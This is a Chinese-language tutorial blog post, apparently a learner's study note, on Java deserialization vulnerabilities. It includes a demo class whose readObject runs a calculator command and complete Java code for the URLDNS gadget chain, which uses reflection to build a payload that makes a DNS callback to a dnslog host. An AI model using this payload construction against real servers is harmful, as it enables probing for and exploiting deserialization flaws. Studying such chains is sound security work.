很多废话和基础,可能这也算是细了,谁让我是个老好人,因为自己淋过雨,所以想给别人撑把伞! 碎碎念别念了家里事一堆搞得心烦只能继续脱产学习了,可能不管去哪早就成功了~如果身边人不太行被拖累是迟早的事,能救赎的只有自己,抛弃那些任何与你无关的事,想都不要想! 师傅别念了前置知识:Java反射在反序列化漏洞中的作用 1. 定制需要的对象 2. 通过invoke调用除了同名函数以外的函数 3. 通过Class类创建对象,引入不能序列化的类Java序列化&反序列化 Java 序列化是指把 Java 对象转换为字节序列的过程 ObjectOutputStream类的 writeObject() 方法可以实现序列化 Java 反序列化是指把字节序列恢复为 Java 对象的过程 ObjectInputStream 类的 readObject() 方法用于反序列化准备先定义一个person类public class person implements Serializable { private transient String name; private int age; public String sex; public person() { } public person(String name, int age, String sex) { this.name = name; this.age = age; this.sex = sex; } @Override public String toString() { return "person{" + "name='" + name + '\'' + ", age=" + age + ", sex='" + sex + '\'' + '}'; } private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject();//调用ois.defaultReadObject()读取默认对象字段防止错误 Runtime.getRuntime().exec("calc.exe");//代码执行命令Runtime.getRuntime().exec("calc.exe") } }序列化Serialization.java//伪代码 public class Serialization { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin")); oos.writeObject(obj);//获得序列化数据生成ser.bin文件 } public static void main(String[] args) throws Exception { person person = new person("aa", 22, "unknown"); serialize(person); } }运行并生成了person.bin文件这里生成的person.bin文件也就是被序列化之后可存储的数据反序列化 //伪代码 public class unSerializaTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws IOException, ClassNotFoundException { System.out.println(unserialize("person.bin")); } }这里可以看到成功输出反序列化对象并且弹出了计算器为什么会弹出计算器(执行系统命令)?Java反序列化漏洞readObject()方法 实现了Serializable接口的类还可以定义如下方法将会在类序列化和反序列化过程中自动调用: ● writeObject(ObjectOutputStream oos)-自定义序列化 ● readObject(ObjectInputStream ois)-自定义反序列化再来看一下person的相关代码private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject();//调用ois.defaultReadObject()读取默认对象字段防止错误 Runtime.getRuntime().exec("open -a Calculator");//代码执行命令 Runtime.getRuntime().exec("calc.exe") }也就是说一个类只要实现了Serializable接口就能被序列化/反序列化,并且这个类如果重写了readObject方法就会自动执行,从攻击者的角度来看这也就会在服务器上引入执行代码的能力。但实际上像 Runtime.getRuntime().exec("xxx");这种相信没有那个程序员会这样去写代码(后门除外),就算有攻击者在没有代码的情况下也就无法利用。反序列化漏洞可能存在的形式 1. 入口类的readObject直接调用危险方法。 这里也就是示例代码表达出来的东西 2. 入口类参数中包含可控类,该类有危险方法,readObject时调用。 3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。实现通用的攻击手法 条件: 共同条件继承Serializable 入口类 source (重写了readObject 参数类型宽泛 最好是JDK自带) 调用链 gadget chain 执行类 sink (任何你想做的一切rce ssf 写文件等等)实现反序列化漏洞攻击思路 1. 去找一些java内置的一些类 2. 一些通用框架的类当然一切都没有示例代码这么简单直接给你一个反序列化接口比如之前一直没理解Java反序列化数据输入点记录一下(ChineseHacker1682(rookie)名言:我是傻逼!),只是举例说明!类似php的$_GET['fileName'],然后输入恶意文件地址读取反序列化例如:@RequestMapping("/unSerializa") public class unSerializaTest { public void rce(String fileName){ System.out.println(unserialize("person.bin")); } }入口和出口都已经了解了,接下来要找的也就是gadgetURLDNS链很多反序列化漏洞工具都有这条链(因为本质就是jdk所有自带并且只是发起dns请求从而判断是否存在java反序列化漏洞或者在漏洞利用无回显情况带到dns),这里就以ysoserial为例子Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()先跟进HashMap看一下实现的readObject()函数这里通过for循环来将HashMap中存储的key通过K key = (K) s.readObject();来进行反序列化,在这之后调用putval方法是往HashMap中放入键值对的方法和hash()函数将hashmap的键名计算了hash发现这个key是object类,在这里需要强调一点,object是一个基类,意味着你可以传入任意类型的对象作为参数。因为Java中的所有类都继承自Object类,所以可以接受任何对象作为参数。在 hash 方法内部,根据具体的对象调用hashcode。hash 方法会调用对象的 hashCode() 方法来计算哈希码,因为 hashCode() 方法是 Object 类中定义的方法,子类可以选择覆盖它以提供特定的哈希算法。那如果我们这里传入的是一个URL类呢,这里key.hashCode()调用URL类中的hashCode方法:java.net.URL#hashCode是不是达到了上面的gadget?继续往下看进行hashcode计算,如果不是-1,则直接返回,是-1则继续计算;还有需要注意的这个接口中:private int hashCode = -1;//hashCode是private类型,需要手动开放控制权才可以修改 看到调用的是handler的hashcode,我们跟进去看一下这个handler是什么东西 transient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型,它不会被反序列化 这里的handler是URLStreamHandler的对象,继续看getProtocol()方法会返回传入的协议 比如http经过if判断不为空时会把他带入到返回值h中,继续跟进hashCode方法经过一系列的操作后将传入string的hash值返回回去。getHostAddress()中调用了getHost()、getByName()两个方法,最终触发dnslog的位置即为getByName(getHost())来进行发送请求。看一下开发文档,为什么是英文(zbn)getByName()会根据host来确定主机名称的IP地址,稍微有点网络基础的师傅就知道这里肯定会触发dns请求了构造pyloadpublic class SerializationTest { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashmap = new HashMap<>(); URL url = new URL("http://a900177e.dnslog.biz"); // 通过反射获取hashCode变量 Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); // 解除访问限制 hashcodefield.setAccessible(true); // 随便设一个值,不为-1就行 hashcodefield.set(url,1234); // hashMap.put(url,1)会执行URL.hashCode(),这时候hashCode不为-1就不会触发handler.hashCode() hashmap.put(url,1); // 等hashMap.put(u,url)执行完了改回去,使得序列化的时候hashcode为-1 hashcodefield.set(url,-1); serialize(hashmap); } private static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("person.bin")); oss.writeObject(obj); System.out.println(new java.util.Date()); } }为了好区分反序列化代码单独一个文件,当然也可以写到一个文件中间写个sleep函数 达到区分是否是在反序列话之后发起的dns请求public class unSerializaTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws IOException, ClassNotFoundException { unserialize("person.bin"); System.out.println(new java.util.Date()); } }这里成功执行dns请求end这里算是对Java反序列化的一个入门总结和记录之前好几次重复学Javase和反序列化看的头晕结果没有理解,很痛苦!学不进去是真的太痛苦了!终于抛开一切社交之后每天在家里学习,在学了Javaweb之后慢慢好起来了,现在回头看发现确实跟php差不多只是复杂那么一些,可能是因为请求和是否会在本地写可能存在反序列化漏洞的代码这一块,如果把像tp的这种看作类似php自身的框架来类比jdk自带的类就很好理解了技术太菜、文笔太差,如果有错误和不清楚的地方,烦请师傅们指正!